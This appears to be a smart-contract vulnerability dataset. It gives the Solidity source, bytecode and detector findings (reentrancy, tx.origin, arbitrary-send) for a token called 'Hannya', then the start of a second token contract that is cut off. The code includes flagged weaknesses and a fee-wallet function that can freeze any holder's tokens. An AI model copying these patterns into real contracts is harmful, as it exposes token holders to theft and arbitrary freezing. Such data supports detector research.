10% buy & sell tax
15% sell tax for first 15 minutes
Max wallet 1.5% of total supply
Max buy auto lifted 2 mins after launch
No team tokens, no presale
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Hannya is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Hannya"; ////
string public constant symbol = unicode"HANNYA"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 5000000000 * 10**9; // .5%
_maxHeldTokens = 15000000000 * 10**9; // 1.5%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function setBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106102085760003560e01c806349bd5a5e11610118578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105f4578063db92dbb614610609578063dcb0e0ad1461061e578063dd62ed3e1461063e578063e8078d941461068457600080fd5b8063a9059cbb14610589578063b2131f7d146105a9578063b515566a146105bf578063c3c8cd80146105df57600080fd5b806370a08231116100e757806370a08231146104e4578063715018a6146105045780638da5cb5b1461051957806394b8d8f21461053757806395d89b411461055757600080fd5b806349bd5a5e146104795780635090161714610499578063590f897e146104b95780636fc3eaec146104cf57600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b25780633bbac579146103ea5780633bed43551461042357806340b9a54b1461044357806345596e2e1461045957600080fd5b806327f3a72a14610340578063313ce5671461035557806331c2d8471461037c57806332d873d81461039c57600080fd5b80630b78f9c0116101d75780630b78f9c0146102ce57806318160ddd146102ee5780631940d0201461030a57806323b872dd1461032057600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f61461027c578063095ea7b31461029e57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b5061026f6040518060400160405280600681526020016548616e6e796160d01b81525081565b6040516102349190611c1d565b34801561028857600080fd5b5061029c610297366004611c97565b610699565b005b3480156102aa57600080fd5b506102be6102b9366004611cb4565b61070e565b6040519015158152602001610234565b3480156102da57600080fd5b5061029c6102e9366004611ce0565b610724565b3480156102fa57600080fd5b50683635c9adc5dea0000061022a565b34801561031657600080fd5b5061022a600f5481565b34801561032c57600080fd5b506102be61033b366004611d02565b6107a7565b34801561034c57600080fd5b5061022a61088f565b34801561036157600080fd5b5061036a600981565b60405160ff9091168152602001610234565b34801561038857600080fd5b5061029c610397366004611d59565b61089f565b3480156103a857600080fd5b5061022a60105481565b3480156103be57600080fd5b506009546103d2906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103f657600080fd5b506102be610405366004611c97565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561042f57600080fd5b506008546103d2906001600160a01b031681565b34801561044f57600080fd5b5061022a600b5481565b34801561046557600080fd5b5061029c610474366004611e1e565b61092b565b34801561048557600080fd5b50600a546103d2906001600160a01b031681565b3480156104a557600080fd5b5061029c6104b4366004611c97565b6109ef565b3480156104c557600080fd5b5061022a600c5481565b3480156104db57600080fd5b5061029c610a5d565b3480156104f057600080fd5b5061022a6104ff366004611c97565b610a8a565b34801561051057600080fd5b5061029c610aa5565b34801561052557600080fd5b506000546001600160a01b03166103d2565b34801561054357600080fd5b506011546102be9062010000900460ff1681565b34801561056357600080fd5b5061026f6040518060400160405280600681526020016548414e4e594160d01b81525081565b34801561059557600080fd5b506102be6105a4366004611cb4565b610b19565b3480156105b557600080fd5b5061022a600d5481565b3480156105cb57600080fd5b5061029c6105da366004611d59565b610b26565b3480156105eb57600080fd5b5061029c610c35565b34801561060057600080fd5b5061029c610c6b565b34801561061557600080fd5b5061022a610d0d565b34801561062a57600080fd5b5061029c610639366004611e45565b610d25565b34801561064a57600080fd5b5061022a610659366004611e62565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069057600080fd5b5061029c610da2565b6008546001600160a01b0316336001600160a01b0316146106b957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061071b3384846110e9565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074457600080fd5b600a82111561075257600080fd5b600a81111561076057600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107d557506001600160a01b03831660009081526004602052604090205460ff16155b80156107ee5750600a546001600160a01b038581169116145b1561083d576001600160a01b038316321461083d5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084884848461120d565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610877908490611eb1565b90506108848533836110e9565b506001949350505050565b600061089a30610a8a565b905090565b6008546001600160a01b0316336001600160a01b0316146108bf57600080fd5b60005b8151811015610927576000600660008484815181106108e3576108e3611ec8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091f81611ede565b9150506108c2565b5050565b6000546001600160a01b031633146109555760405162461bcd60e51b815260040161083490611ef9565b6008546001600160a01b0316336001600160a01b03161461097557600080fd5b600081116109ba5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610834565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610703565b6009546001600160a01b0316336001600160a01b031614610a0f57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610703565b6008546001600160a01b0316336001600160a01b031614610a7d57600080fd5b47610a878161187c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161083490611ef9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061071b33848461120d565b6008546001600160a01b0316336001600160a01b031614610b4657600080fd5b60005b815181101561092757600a5482516001600160a01b0390911690839083908110610b7557610b75611ec8565b60200260200101516001600160a01b031614158015610bc6575060075482516001600160a01b0390911690839083908110610bb257610bb2611ec8565b60200260200101516001600160a01b031614155b15610c2357600160066000848481518110610be357610be3611ec8565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2d81611ede565b915050610b49565b6008546001600160a01b0316336001600160a01b031614610c5557600080fd5b6000610c6030610a8a565b9050610a8781611901565b6000546001600160a01b03163314610c955760405162461bcd60e51b815260040161083490611ef9565b60115460ff1615610ce25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610834565b6011805460ff1916600117905542601055674563918244f40000600e5567d02ab486cedc0000600f55565b600a5460009061089a906001600160a01b0316610a8a565b6000546001600160a01b03163314610d4f5760405162461bcd60e51b815260040161083490611ef9565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610703565b6000546001600160a01b03163314610dcc5760405162461bcd60e51b815260040161083490611ef9565b60115460ff1615610e195760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610834565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e563082683635c9adc5dea000006110e9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb89190611f2e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f299190611f2e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9a9190611f2e565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fca81610a8a565b600080610fdf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611047573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106c9190611f4b565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109279190611f79565b6001600160a01b03831661114b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610834565b6001600160a01b0382166111ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610834565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112715760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610834565b6001600160a01b0382166112d35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610834565b600081116113355760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610834565b6001600160a01b03831660009081526006602052604090205460ff16156113aa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610834565b600080546001600160a01b038581169116148015906113d757506000546001600160a01b03848116911614155b1561181d57600a546001600160a01b03858116911614801561140757506007546001600160a01b03848116911614155b801561142c57506001600160a01b03831660009081526004602052604090205460ff16155b156116b95760115460ff166114835760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610834565b6010544214156114c35760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610834565b42601054610e106114d49190611f96565b111561154e57600f546114e684610a8a565b6114f09084611f96565b111561154e5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610834565b6001600160a01b03831660009081526005602052604090206001015460ff166115b6576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115c69190611f96565b111561169a57600e5482111561161e5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610834565b61162942600f611f96565b6001600160a01b0384166000908152600560205260409020541061169a5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610834565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116d3575060115460ff165b80156116ed5750600a546001600160a01b03858116911614155b1561181d576116fd42600f611f96565b6001600160a01b0385166000908152600560205260409020541061176f5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610834565b600061177a30610a8a565b905080156118065760115462010000900460ff16156117fd57600d54600a54606491906117af906001600160a01b0316610a8a565b6117b99190611fae565b6117c39190611fcd565b8111156117fd57600d54600a54606491906117e6906001600160a01b0316610a8a565b6117f09190611fae565b6117fa9190611fcd565b90505b61180681611901565b478015611816576118164761187c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061185f57506001600160a01b03841660009081526004602052604090205460ff165b15611868575060005b6118758585858486611a75565b5050505050565b6008546001600160a01b03166108fc611896600284611fcd565b6040518115909202916000818181858888f193505050501580156118be573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118d9600284611fcd565b6040518115909202916000818181858888f19350505050158015610927573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194557611945611ec8565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561199e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c29190611f2e565b816001815181106119d5576119d5611ec8565b6001600160a01b0392831660209182029290920101526007546119fb91309116846110e9565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a34908590600090869030904290600401611fef565b600060405180830381600087803b158015611a4e57600080fd5b505af1158015611a62573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a818383611a97565b9050611a8f86868684611ade565b505050505050565b6000808315611ad7578215611aaf5750600b54611ad7565b50600c54601054611ac290610384611f96565b421015611ad757611ad4600582611f96565b90505b9392505050565b600080611aeb8484611bbb565b6001600160a01b0388166000908152600260205260409020549193509150611b14908590611eb1565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b44908390611f96565b6001600160a01b038616600090815260026020526040902055611b6681611bef565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bab91815260200190565b60405180910390a3505050505050565b600080806064611bcb8587611fae565b611bd59190611fcd565b90506000611be38287611eb1565b96919550909350505050565b30600090815260026020526040902054611c0a908290611f96565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c4a57858101830151858201604001528201611c2e565b81811115611c5c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8757600080fd5b8035611c9281611c72565b919050565b600060208284031215611ca957600080fd5b8135611ad781611c72565b60008060408385031215611cc757600080fd5b8235611cd281611c72565b946020939093013593505050565b60008060408385031215611cf357600080fd5b50508035926020909101359150565b600080600060608486031215611d1757600080fd5b8335611d2281611c72565b92506020840135611d3281611c72565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d6c57600080fd5b823567ffffffffffffffff80821115611d8457600080fd5b818501915085601f830112611d9857600080fd5b813581811115611daa57611daa611d43565b8060051b604051601f19603f83011681018181108582111715611dcf57611dcf611d43565b604052918252848201925083810185019188831115611ded57600080fd5b938501935b82851015611e1257611e0385611c87565b84529385019392850192611df2565b98975050505050505050565b600060208284031215611e3057600080fd5b5035919050565b8015158114610a8757600080fd5b600060208284031215611e5757600080fd5b8135611ad781611e37565b60008060408385031215611e7557600080fd5b8235611e8081611c72565b91506020830135611e9081611c72565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ec357611ec3611e9b565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ef257611ef2611e9b565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4057600080fd5b8151611ad781611c72565b600080600060608486031215611f6057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8b57600080fd5b8151611ad781611e37565b60008219821115611fa957611fa9611e9b565b500190565b6000816000190483118215151615611fc857611fc8611e9b565b500290565b600082611fea57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203f5784516001600160a01b03168352938301939183019160010161201a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f1f6c97cdfbdee30ebc3a03cc59750b1e10b8da86dc89148df7954282eac4ee964736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,142 |
0x14aed792666c705a64e42d5291caeb43aac64f60 | /**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
Here's a little Tweet I like.
Going to Tweet it all night.
Don't Worry. Be Happy :)
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TweetHappy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TweetHappy";
string private constant _symbol = "TWEETHAPPY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 2;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 2;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xe8e9eBFA013aaEFD6572F4E968ed8dc0d1f28235);
address payable private _marketingAddress = payable(0xe8e9eBFA013aaEFD6572F4E968ed8dc0d1f28235);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
